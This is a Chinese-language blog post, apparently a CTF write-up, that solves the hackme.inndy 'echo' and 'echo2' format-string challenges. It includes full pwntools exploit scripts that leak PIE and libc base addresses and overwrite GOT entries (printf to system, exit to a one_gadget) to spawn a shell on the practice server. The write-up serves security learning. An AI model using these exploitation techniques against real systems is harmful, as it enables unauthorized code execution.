本文最后更新于:星期三, 一月 2日 2019, 3:49 下午

hackme.inndy 的echo 和 echo2

echo

防护机制:

checksec

32位的开启了NX的程序
ida反编译一下:

ida

很明显的一个格式化字符串漏洞,加上程序中存在system函数,所以可以将printf_got覆盖成system函数,再传入”/bin/sh” 来getshell
这里我用了pwntools库中的fmtstr_payload()函数

exp:

from pwn import*
context.log_level= "debug"

p = remote('hackme.inndy.tw',7711) 
#p = process('./echo')
elf = ELF('./echo')

system = elf.symbols['system']
printf_got = elf.got['printf']
bss = elf.bss()
offset = 7
payload = fmtstr_payload(offset,{printf_got : system}) # change the got of printf to system
p.send(payload)

p.send("/bin/sh\x00")
p.interactive()

结果:

shell

echo2

防护机制:

image.png

发现程序开启了PIE
PIE:
是位置无关的可执行程序,用于生成位置无关的可执行程序,所谓位置无关的可执行程序,指的是,可执行程序的代码指令集可以被加载到任意位置,进程通过相对地址获取指令操作和数据,如果不是位置无关的可执行程序,则该可执行程序的代码指令集必须放到特定的位置才可运行进程。
但是低两位字节是固定的,可以通过这个泄露出程序基地址

ida反编译:

image.png

发现这题的关键代码和前面那道题很相似,同样是一个格式化字符串漏洞,同样含有system函数,但是这一题是64位的并且开启了PIE的程序,所以需要先泄露出程序的基地址

gdb调试一番:

image.png

格式化字符串位于栈上,并且相对偏移为7
查看栈上的内容:

image.png

程序的栈上有printf函数的返回地址和一些其他函数的返回地址
所以可以通过泄露出printf函数的返回地址来计算出程序的基地址

program_base = leakmemory - offset

泄露libc_start_main+240的地址来算出libc的基地址
通过在发送payload的语句后加一条gdb.attach(p)语句,进入调试界面,输入vmmap命令,计算出libc_base 和
libc_start_main+240的偏移,那就可以通过泄露出来的地址得到libc_base的地址了,因为不管PIE它的地址怎么变,lib_start_main的地址到libc_base的偏移是不会变的,同时可以得到libc_start_main在libc中的偏移,通过这个偏移可以查到程序的libc的版本libsearch

libc_base = __libc_start_main +240  - offset
offset = __libc_start_main +240 - 0x7ffff7a0d000
libc_start_main_offset = offset - 240

image.png

查到libc的版本

image.png
有这么多 ,一般要再泄露多一个地址,比较精准,不过一个个试也可以,这里服务器用的libc版本是 9

获取了lib版本后就可以开始下一步了,我没有用system函数,我用one_gadget这个工具找到了execve(“/bin/sh”,null,environ)的偏移,然后将exit_got覆盖成了one_gadget的地址,因为exit也是libc库中的函数,所以只要覆盖低五位就可以了,我用”%hn”来改写地址的内容,一次修改两个字节,改写完后输入”exit”,就可以getshell

64位需要注意的是:

  1. 它的函数地址存在’\x00’截断,所以要将函数地址放到最后
  2. 控制好函数地址的相对偏移

exp:

#!/usr/bin/env python
# coding=utf-8
from pwn import*
context.log_level = "debug"

p = remote("hackme.inndy.tw",7712)
#p = process('./echo2')
elf = ELF('./echo2')
exit_got = elf.got['exit']

def memleak(offset):
    payload = '%' + str(offset) + "$p"
    p.sendline(payload)
    data = p.recv()[0:-1]
    print data
    data = int(data,16)
    return data

log.info("************leak program base address************")
_libc_csu_init = memleak(41)
p_add = _libc_csu_init - 0xa03
print "base address -->[%s]"%hex(p_add)


_libc_start_main_add = memleak(43) - 240
print "_libc_start_main_add -->[%s]"%hex(_libc_start_main_add)
_libc_start_main_offset = 0x20740
print "_libc_start_main_offset --> [%s] "%hex(_libc_start_main_offset)
libc_base = _libc_start_main_add - _libc_start_main_offset
print "libc_base --> [%s]"%hex(libc_base) 

one_gadget = 0xf0897#execve("/bin/sh",null,environ)
#one_gadget = 0xf02a4
print "one_gadget --> [%s]"%hex(one_gadget)
one_gadget_add = libc_base + one_gadget
print "on_gadget_add --> [%s]"%hex(one_gadget_add)

log.info("*********write execve address to exit_got*******")
exit_got = p_add + exit_got
print "exit_got --> [%s]"%hex(exit_got)
hex_one_gadget = hex(one_gadget_add)
add1 = str(int(int(hex_one_gadget[-4:],16))-19)
add2 = str(int(int(hex_one_gadget[-8:-4],16))-19)
add3 = str(int(int(hex_one_gadget[-12:-8],16))-19)

payload1 = "aaaaaaaaaaaaaaaaaaa%" + add1 + "c" + "%10$hn" + p64(exit_got)
payload2 = "aaaaaaaaaaaaaaaaaaa%" + add2 + "c" + "%10$hn" + p64(exit_got+2)
payload3 = "aaaaaaaaaaaaaaaaaaa%" + add3 + "c" + "%10$hn" + p64(exit_got+4)
p.sendline(payload1)
p.sendline(payload2)
p.sendline(payload3)
p.send("exit\n")
p.interactive()

结果:

image.png

写echo2的时候参考了大佬的writeup


hackme.inndy_writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!